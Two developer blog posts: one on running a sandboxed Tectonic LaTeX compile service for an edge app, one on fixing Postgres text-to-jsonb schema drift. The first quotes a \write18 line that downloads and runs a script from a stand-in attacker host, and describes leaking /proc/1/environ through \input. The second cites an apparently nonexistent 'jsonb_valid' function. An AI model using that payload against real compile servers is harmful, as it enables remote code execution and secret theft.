DEV Community: Bhargav Venkatesh Babu

Shipping a LaTeX compiler behind an edge app

Bhargav Venkatesh Babu — Mon, 19 Oct 2026 15:23:46 +0000

Originally published at bhargav.dev.

Your app runs at the edge and cannot make a PDF. Here is the whole path from that problem to a running container, including the failed deploys, and why the one that looked like success was the worst of them.

I am building a job tracker, for myself first. The next feature is the one I actually want: take a job description, tailor my CV to it, and hand me a PDF. I already write my CV in LaTeX, so the missing piece is a machine that turns .tex into .pdf on demand.

The API runs on Cloudflare Workers. Workers cannot run a TeX engine. Understanding exactly why is the first thing worth learning here, because it is the same reason a lot of "just add this library" answers fail on edge runtimes.

By the end you will have the whole shape: why the compile has to leave the edge, what a safe compile service does with untrusted LaTeX, how it should behave when a secret is missing, and the one line in a Dockerfile that turned a three second compile into a sixty second timeout.

Why can’t the app just make the PDF itself?

A Cloudflare Worker is not a small server. It is a V8 isolate: a sandbox inside a shared process that runs JavaScript and WebAssembly and nothing else. There is no way to start another program, and no operating system underneath to install one on. Workers do now offer a writable /tmp through node:fs, but it is an in memory scratch area private to a single request, not a disk a toolchain can live on.

LaTeX is the opposite of all of that. pdflatex, xelatex and Tectonic are native binaries: compiled machine code that expects a real operating system. They read and write dozens of temporary files while they work, and the classic toolchain shells out to other programs along the way. None of those things exist in an isolate.

TeX engines have been compiled to WebAssembly, SwiftLaTeX for one. But an engine plus the fonts and packages a real CV pulls in does not fit comfortably inside a Worker's size and memory limits, and those ports trail the native engines.

An isolate runs JavaScript. A container runs a computer. LaTeX needs a computer.

So the compile has to happen somewhere else, and the Worker has to call it over HTTP. That is the whole architecture. Once you see it, the rest is detail.

The figure below shows what the isolate will and will not do, and where the job goes instead.

Where can a TeX engine run?

Why Tectonic, and not a normal TeX install?

If you have used LaTeX on a laptop, you installed TeX Live: a few gigabytes of packages, fonts and programs, most of which no single document ever touches. Then you ran pdflatex two or three times in a row, because cross references and bibliographies only settle on a later pass, and you cleaned up a folder full of .aux, .log and .toc files afterwards.

Tectonic is a different take on the same engine: a complete TeX/LaTeX engine built on XeTeX and TeX Live, packaged as one program. Three things about it matter for a server.

It fetches support files on demand. Instead of a five gigabyte install, it pulls only the packages, fonts and hyphenation patterns a given document actually uses, from a versioned bundle, and caches them. A container image stays small, and a document that needs an unusual package still compiles.

It runs as many passes as the document needs. In the project's words, it "automatically loops TeX and BibTeX as needed, and only as much as needed". The service makes one call and gets a finished PDF, with no guessing about how many times to rerun.

It does not leave TeX's intermediate files behind by default, which keeps a job's working directory down to its inputs and its output.

The fourth reason is the one I would choose it for even without the others: shell escape is off.

The question I expect first is why not Typst, which is faster and far simpler than LaTeX. The answer is that my CV and the packages it uses are already LaTeX, and the point was to compile what I have, not to rewrite it.

What is shell escape, and why does it matter here?

TeX has a primitive called \write18. Normally \write sends text to a file. Stream 18 is special: when shell escape is enabled, whatever you write to it is run as a shell command on the machine doing the compile.

That exists for good reasons. The minted package calls Python to highlight code, and some graphics packages call external converters. On your own laptop, compiling your own document, that is fine.

Now picture the service compiling a document someone else wrote, or one a language model wrote:

\immediate\write18{curl -s https://evil.example/x.sh | sh}

With shell escape on, that downloads a script and runs it on the server. The document is a remote shell.

TeX Live ships a middle ground, restricted shell escape, which only allows a short list of known commands. Tectonic goes further and has it off unless you explicitly turn it on, and the service also passes --untrusted, after which, in the docs' words, "these features cannot be enabled, regardless of other settings such as -Z shell-escape." The cost is that packages which need shell escape, minted among them, do not work. For a CV that is no loss.

One thing it does not do is make TeX a sandbox. Shell escape stops a document from running programs. It does not stop a document from reading files, because \input{/some/path} is ordinary TeX, and --untrusted does not change that. I checked: a document that opens /proc/1/environ, the server process's own environment, reads it and prints it into the compile log.

That is how I found a hole in the first version. The compiler inherited the server's environment, and the server's environment held the token that protects the service, so a document could have printed the service's own password back to its caller. Now the compiler gets an environment built from scratch, everything runs as an unprivileged user, and the token reaches the server on stdin, so it sits in no process's environment at all.

Anything the compiler can read, a document can read. So nothing worth reading belongs in the container.

What does the service actually do?

It is about a hundred lines of Hono running on Node, in a container, with two endpoints.

GET /health returns {"ok": true}. Most hosting platforms want a URL they can poll to decide whether your container is alive.

POST /compile takes a JSON body, writes the document to a fresh temporary directory, runs Tectonic against it, and returns either the PDF bytes or a 422 with the compiler's log. The log matters: when a compile fails, the error text is what lets a human, or later an agent, work out what to fix.

Two details in there are worth stealing.

Every job gets its own temp directory, created with mkdtemp and deleted in a finally block:

const dir = await mkdtemp(join(tmpdir(), 'job-'));
try {
  // write main.tex and its sibling files, run tectonic, read the PDF
} finally {
  await rm(dir, { recursive: true, force: true });
}

mkdtemp is a POSIX C function that Node exposes as fs.mkdtemp, and the shell equivalent is mktemp -d. You give it a prefix, it appends six random characters, and it creates the directory in one atomic step with permissions 0700, so only the owning user can read it. If the name already exists it does not reuse it. That atomicity is the point. Building a name yourself from Date.now() collides the moment two requests land in the same millisecond, and checking "does this exist?" before creating it leaves a gap in which something else can create it first.

What a temp directory is not is a security boundary. Every job runs as the same user, so 0700 keeps other users out, not other jobs. It solves collisions and cleanup, nothing more.

Why does this matter more on a serverless container than on a laptop? Two facts from Cloud Run's container contract.

First, one instance handles many requests at once. Cloud Run's default concurrency is 80, so two people compiling at the same moment are very likely running inside the same container, sharing the same /tmp. If both jobs write /tmp/main.tex, the second write replaces the first, and the first person gets a PDF of the second person's CV.

Second, the filesystem is not a disk. Cloud Run's writable filesystem is in memory, so every file you write counts against the instance's RAM, and nothing is cleaned up for you until the instance shuts down, which can be a quarter of an hour after its last request. Files you forget to delete are a slow memory leak.

The figure below runs both versions side by side.

Two compiles on one instance

Sibling file paths are checked, not cleaned. A CV is rarely one file. Mine needs a photo and sometimes a .sty package file. Those travel in the request as a files map keyed by relative path. Before writing any of them, the service resolves the path against the job directory and rejects the request unless the result is still inside it. Rejecting rather than cleaning is deliberate. The first version stripped ../ out of names, and ....// survives one pass of that as ../, which is a write anywhere on the disk. That is path traversal, one of the oldest bugs there is. Absolute paths, backslashes and the names the compile itself uses, like main.tex, are refused too.

The files map accepts either a plain string, meaning utf8 text, or an object with encoding and content, so a PNG can arrive base64 encoded. That shape is not arbitrary. It mirrors the DocumentAsset type already in the database, so assets stored against a document forward to the compiler without any translation step.

Why does the service refuse to start without a token?

The container sits on a public URL. An unauthenticated endpoint that runs a real TeX engine is a free compute service for anyone who finds it, and a denial of service target besides.

So /compile requires a bearer token, compared in constant time so the response time does not leak how many characters of a guess were right (the lengths are compared first, which reveals only how long the token is, not what it is), and the process exits at startup if COMPILE_TOKEN is not set:

const TOKEN = process.env.COMPILE_TOKEN;
if (!TOKEN) {
  console.error('COMPILE_TOKEN is not set, refusing to start.');
  process.exit(1);
}

This is called failing closed. When a system cannot do its security check, because a dependency is down or a setting is missing, it has two choices. It can fail open: carry on working and skip the check. Or it can fail closed: stop, and stay in the safe state until someone fixes it. AuthZed's write up puts it in one line each: a system that fails open "defaults to an operational or open state", and one that fails closed "defaults to a closed or secure state".

For a firewall, failing open means letting all traffic through. For this service, failing open would mean a log line that says "no token, starting without auth" and a compiler anyone can use. The two failures feel very different from the inside. A crash loop on the hosting dashboard is annoying and obvious. An open endpoint is quiet and bad, and you find out from the bill.

The figure cycles through four ways to put a compiler on a public URL, including the stronger one I did not take.

What a missing secret does

What would the stronger option have looked like?

Cloud Run can do the authentication for you. Deploy the service without public access, and every request must carry a Google signed identity token: a short lived JWT, signed by Google, naming the service's URL as its audience and identifying a caller who has been granted the roles/run.invoker role. Google's front end checks that token before the request reaches your container.

That is better than a shared secret in two concrete ways. There is no long lived secret to leak, since the tokens expire within the hour. And a stranger's request is rejected at Google's edge, so it never wakes an instance and never costs anything. With my shared secret, a stranger still reaches the container, which spins up, reads the header, and answers 401. The app is safe, but it did the work.

The catch is who has to produce that token. Code running inside Google Cloud asks a local metadata server and gets one for free. A Cloudflare Worker has no metadata server. It would need either a Google service account key stored as a Worker secret, which Google's own docs call "a security risk if not managed correctly", plus the code to sign a JWT with WebCrypto and swap it for an ID token every hour, or workload identity federation, which is more setup still.

Either way, my API would end up knowing it talks to Google specifically. The compile service was built so any container host works, and moving it is a README change. So the shared secret stays, and the platform check does not. That is a real tradeoff, made on purpose and written down, and if the service ever settles permanently on Cloud Run it is the first thing I would revisit.

The same logic applies to Cloudflare's own Containers, which would have kept everything on one vendor and reached the service through a binding instead of a public URL. They need the $5 a month Workers Paid plan, Cloud Run was free and already set up, and honestly that is most of why it won.

There is also no queue, no rate limit and no microVM per job. For one user behind a token that is the right amount of machinery; for compiling strangers' documents it would not be.

Why did picking a host take most of a day?

This part is not clever engineering. It is what actually happened, and it is the part tutorials leave out.

Railway was first, because the config was already written for it. Its trial had expired and it wanted a paid plan.

Cloud Run was next, because gcloud was already installed and the free tier comfortably covers a personal tool. Cloud Run's free tier still requires billing enabled on the project. Enabling billing failed, because a Google billing account can only be linked to a limited number of projects and mine was at the cap. Unlinking a dead hackathon project freed a slot.

The lesson is not about either vendor. It is that the deploy target is a risk, and risks belong at the start of the plan, not the end. I put this first deliberately, ahead of any feature work, on the theory that discovering it on the final afternoon would be much worse. That theory was correct. It still ate most of a day.

Why did the build fail three times before it ran?

Each failure was one layer deeper than the last, which is the shape you want. It means you are making progress even when nothing works.

Failure one was permissions. Cloud Run can build from source: you point it at a directory, it uploads the code, and Cloud Build builds the image. It failed with PERMISSION_DENIED on the storage bucket holding the uploaded source. Google changed its defaults a while back and no longer automatically grants the build roles to a project's default service account. The fix is one IAM grant of roles/cloudbuild.builds.builder, which bundles reading the source bucket, writing the built image, and writing logs.

Failure two was missing libraries.

tectonic: error while loading shared libraries: libgraphite2.so.3:
cannot open shared object file: No such file or directory

The Tectonic binary is dynamically linked. It does not contain all the code it needs; it expects to find shared libraries on the system at runtime, for text shaping, font handling, Unicode and compression. Slim base images strip all of that out, because most programs do not need it. The fix is installing them: graphite2, harfbuzz, ICU, freetype, fontconfig, OpenSSL, zlib. The error surfaced during the build, not in production, because the Dockerfile runs tectonic --version right after installing the binary, and that line has no || true.

Failure three was glibc, and it could not be fixed by installing anything.

tectonic: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.39' not found

glibc is the C standard library, the foundation every other library sits on. It is part of the base operating system, not something you upgrade with a package manager. Tectonic 0.17.0's prebuilt binary is compiled against glibc 2.39 or newer. Debian bookworm ships 2.36. The binary simply cannot run there.

The fix was moving the base image from node:20-bookworm-slim to node:20-trixie-slim, a newer Debian with glibc 2.41. It is node:22-trixie-slim now, since Node 20 reached end of life in April 2026.

That introduced a subtlety worth knowing. Debian names some packages after the version of the library inside them, and those names change between releases. Bookworm's libicu72 is trixie's libicu76, and libssl3 becomes libssl3t64. Hardcoding those names means the next base image bump breaks the build again, so they are now looked up at build time:

icu="$(apt-cache search --names-only '^libicu[0-9]+$' | awk '{print $1}' | sort -V | tail -1)"

That lookup trades some reproducibility for surviving the next rename: two builds months apart can resolve different packages.

In hindsight, failures two and three had a shortcut I did not know about. Tectonic also publishes a statically linked musl build for x86_64 Linux, which does not depend on the base image's glibc or its shared libraries at all. That is what I would start from next time.

Why did the first successful build produce the worst bug?

The build went green. The service deployed. /health returned 200. Authentication rejected an unauthenticated call with a 401. Then a two line "Hello world" document took sixty seconds and failed.

The log explained it immediately, and the explanation was not what I expected. It was never stuck. It was downloading the entire TeX universe, one file at a time:

note: generating format "latex"
note: downloading latex.ltx
note: downloading loadhyph-ro.tex
note: downloading loadhyph-ru.tex
...
[api] compile timed out

Remember that Tectonic fetches support files on demand and caches them. On a container that scales to zero, "cached" means cached in that container, and a cold start begins with whatever cache was baked into the image. So the first compile after any idle period pays for downloading the LaTeX format, the hyphenation patterns for every language, and every font metric file.

The Dockerfile was supposed to prevent exactly this, by compiling two sample documents at build time, a plain article and a copy of my moderncv CV, so the cache is baked into the image. It had this line:

tectonic -X compile "$f" --outdir /tmp/warm/out --print || true

Tectonic does not create the output directory. It exits immediately with output directory does not exist. And || true means "ignore whether this failed".

So the warm up never ran, the error was swallowed, and the image shipped with an 8 kilobyte cache instead of a 45 megabyte one. The build reported success. Everything looked fine. The failure surfaced a day later and somewhere else entirely, as a mysterious timeout on a trivial document.

A tolerated failure needs a positive check on its result, or it quietly becomes a no op.

The || true was not wrong to be there. It is deliberate: a document that errors at the end has still downloaded and cached everything it pulled on the way, which is the entire point of the warm up. The mistake was trusting the outcome instead of measuring it. The fix is three lines:

size="$(du -sm "$TECTONIC_CACHE_DIR" | cut -f1)"
if [ "$size" -lt 20 ]; then echo "warm-up produced only ${size}MB"; exit 1; fi

Now an empty cache fails the build loudly, at the moment it is caused, instead of turning into a timeout in production a day later.

The figure below runs the same deploy both ways, through to the first compile after a cold start.

The warm up that never ran

This generalises well beyond Dockerfiles. || true in a shell script, .catch(() => null) in JavaScript, a bare except: pass in Python: every one of them is a place where a real error can hide inside an intentional tolerance. If you write one, assert the result you expected it to produce.

What does it actually do now, and what does it cost?

With a 45 MB cache baked into the image:

Measure, warm instance	Result
Trivial document	2.7s
A real moderncv CV	3.1s steady state
Output	valid 1 page A4 PDF, XeTeX
Unauthenticated call	401

Three seconds is fine for this. The compile happens once per document generation, and the plan is for an agent to loop on compile errors, so a handful of retries still lands under ten seconds. Those are warm numbers. The first request after the service has scaled to zero also pays for starting the container, which I have not yet measured end to end.

Cost should be zero. Cloud Run's free tier is generous, the service scales to zero when idle, instances are capped at three, and each takes at most four compiles at once instead of Cloud Run's default of 80, which would run a TeX engine out of memory long before it ran out of requests. "Should be" is doing work in that sentence: a billing budget alert is the obvious next thing, because the gap between an idle free service and a surprise bill is one loop somewhere. An alert only warns, though; it does not stop the spending.

What would I take into the next service?

Front load the risk. The unknown was never the code. It was whether a native TeX binary would run on a platform I had not used for it. Finding out first cost a day. Finding out last would have cost the project.

Fail closed on anything that faces the internet. A missing secret should stop the process, not downgrade the security.

Assert outcomes, do not trust them. Every failure tolerated on purpose needs a check that the thing you wanted actually happened.

Keep the deployable thing portable. Nothing in the service knows it is on Cloud Run. That is what made recovering from the Railway dead end cheap, and it is also the reason I passed on Cloud Run's own authentication. Portability is not free; it is a price you choose to pay.

Write down the decisions you cannot cheaply reverse. Which engine, where it runs, how it authenticates: those got architecture decision records at the time, including the options rejected and why. The ones you can reverse cheaply, like which region, just get a commit.

The bigger picture is that an edge runtime is a promise about what your code will not do: no disk, no processes, no surprises. The moment a feature needs one of those things, the right move is not to fight the isolate. It is to give that one job a real computer, keep the boundary to a single HTTP call, and make that call boring, authenticated and measured.

Next: the actual point of all this, which is generating a tailored CV that is checked, line by line, against experience I actually had.

Sources:

Tectonic project (Tectonic typesetting)
Google Cloud (Cloud Run container runtime contract)
Google Cloud (Authenticating service to service)
AuthZed 2021 (Understanding fail open and fail closed)

Silent Schema Drift: How a text-to-jsonb cast broke production

Bhargav Venkatesh Babu — Tue, 05 May 2026 13:30:00 +0000

A Payload CMS seed script, a production Postgres database, and a schema that had quietly diverged for months. Here's what broke and how to fix it.

TLDR: Payload's push mode ran against production, hit columns that had drifted from text to jsonb in the schema definition, and Postgres refused the automatic cast. Fix is USING content::jsonb in the ALTER. Real fix is never running push against prod and writing explicit migrations.

The Error

Running a seed script against my production Postgres database, every attempt to initialize Payload CMS failed:

DrizzleQueryError: Failed query: ALTER TABLE "series" ALTER COLUMN "content" SET DATA TYPE jsonb;
error: column "content" cannot be cast automatically to type jsonb
hint: You might need to specify "USING content::jsonb".

The same error kept repeating for different tables [series, documents, notebooks_blocks, projects, work_experience], each time a different column.

What Is jsonb?

Postgres stores JSON in two ways:

json: stores the raw text string exactly as written. Fast writes, slow reads.
jsonb: parses the JSON and stores it in a decomposed binary format. Slightly slower writes, faster reads, and supports indexing.

Both hold the same data. For application data, you almost always want jsonb.

text is just a plain string. Postgres has no idea whether it contains JSON, it's just characters. There's no automatic conversion from text to jsonb because Postgres can't guarantee your strings are valid JSON without checking every row.

What Is Schema Drift?

Schema drift is when your application's schema definition (what the code expects the database to look like) and the actual live database diverge over time.

In this case:

The production database was created when Payload and Drizzle stored Lexical editor fields as text columns.
At some point, I updated the schema definition in code to use jsonb for those fields.
The production database was never migrated to match.
The application kept working because Postgres is flexible enough to return text values to the application layer, which then parses them.

The drift was silent. The site ran fine, no errors in production logs, nothing to indicate a problem, until I added a few collections to Payload and pushed the schema.

Why It Surfaced Now

Payload CMS v3 with the Drizzle adapter has two modes for keeping the DB in sync:

Push mode (pushDevSchema): on startup, Drizzle compares its schema definition against the live DB and tries to ALTER any mismatched columns. Default in development.
Migration mode: you write explicit SQL migration files and run them with payload migrate. Use this in production.

Running the seed script (payload run scripts/seed-resume.ts) called getPayload(), which triggered pushDevSchema. That kicked off the ALTER attempts and is where they failed.

payload migrate had run fine earlier and reported Done. The migration only added new tables. It never touched the existing content columns because I never wrote a migration for them. Drizzle push, on the other hand, noticed all schema drift and tried to fix everything at once.

Why Postgres Refuses the Automatic Cast

When you run:

ALTER TABLE series ALTER COLUMN content SET DATA TYPE jsonb;

Postgres needs to convert every existing row from text to jsonb, but it can't confirm your text values are valid JSON. If even one row contains plain text, parsing it as JSON would fail. You have to tell it explicitly to attempt the cast.

The fix is the USING clause:

ALTER TABLE series ALTER COLUMN content TYPE jsonb USING content::jsonb;

This casts every value using the ::jsonb operator. If all values are valid JSON, it succeeds. If any aren't, it fails at the specific bad row — which is useful, because it forces you to confront bad data directly.

Ways to Fix Schema Drift

Before any of this: take a backup.
pg_dump $DATABASE_URL > backup_$(date +%Y%m%d).sql
Schema-altering operations are not forgiving. Do this first.

Option 1: USING cast

For each affected column, run the ALTER with an explicit cast:

ALTER TABLE "series" ALTER COLUMN "content" TYPE jsonb USING content::jsonb;

Use this when you're confident all existing values are valid JSON.

If a column has a DEFAULT value, drop it first:

ALTER TABLE "documents" ALTER COLUMN "parsed_content" DROP DEFAULT;
ALTER TABLE "documents" ALTER COLUMN "parsed_content" TYPE jsonb USING parsed_content::jsonb;

Option 2: Null out the bad rows first

If some rows contain invalid JSON:

UPDATE notebooks_blocks
SET content = NULL
WHERE content IS NOT NULL
  AND content NOT LIKE '{%'
  AND content NOT LIKE '[%';

ALTER TABLE notebooks_blocks ALTER COLUMN content TYPE jsonb USING content::jsonb;

Use this when you don't need the non-JSON rows.

Note: The LIKE '{%' filter is a heuristic. A valid JSON string like "hello" starts with ", not { or [. For stricter filtering, use content ~ '^[\[{"]' or reach for jsonb_typeof after a try-cast.

Option 3: Skip the column for now

If rows contain real data you can't afford to lose, leave the column as text and come back when you have a migration plan for the content.

Option 4: Write a proper migration

The right long-term fix is a hand-written migration file:

// migrations/20260427_fix_jsonb_drift.ts
import type { MigrateUpArgs } from "@payloadcms/db-postgres";
import { sql } from "@payloadcms/db-postgres";

export async function up({ db }: MigrateUpArgs): Promise<void> {
  await db.execute(sql.raw(`
    ALTER TABLE "series" ALTER COLUMN "content" TYPE jsonb USING content::jsonb;
    ALTER TABLE "projects" ALTER COLUMN "content" TYPE jsonb USING content::jsonb;
    ALTER TABLE "work_experience" ALTER COLUMN "content" TYPE jsonb USING content::jsonb;
  `));
}

Run it with:

node --env-file=.env.local node_modules/payload/bin.js migrate

This way the fix lives in version control, is reproducible, and is documented alongside the code that caused the drift.

Disable Push Mode in Production

The root cause of this surfacing at all was Drizzle push running against a production database. Push mode is a development convenience and not safe for prod.

In payload.config.ts, disable it outside development:

db: postgresAdapter({
  pool: { connectionString: process.env.DATABASE_URL },
  push: process.env.NODE_ENV === 'development',
}),

In production, schema changes go through payload migrate with explicit, reviewed migration files.

The Lesson

The database and code can diverge for months while the application adapts, types get coerced, and nothing breaks visibly. When something finally tries to reconcile the two, a push, a migration tool, a new ORM version, it all surfaces at once.

Signs you might have schema drift:

Your DB was created a long time ago and has never been formally migrated
You've upgraded your ORM or database adapter
You're running push mode on a database that predates the current schema definition
Column types in the DB don't match what your application code declares

How to stay ahead of it:

Use migration files for schema changes, even small ones
Run payload migrate:status to see if anything is pending before you touch anything
Never run push mode against a production database
Take a backup (pg_dump) before any schema-altering operation

Resources

Payload CMS — Migrations
Payload CMS — migrate:status command
Drizzle ORM — Migrations vs Push
PostgreSQL — ALTER TABLE
PostgreSQL — JSON Types
PostgreSQL — JSON Functions and Operators — specifically jsonb_typeof, jsonb_valid (Postgres 16+)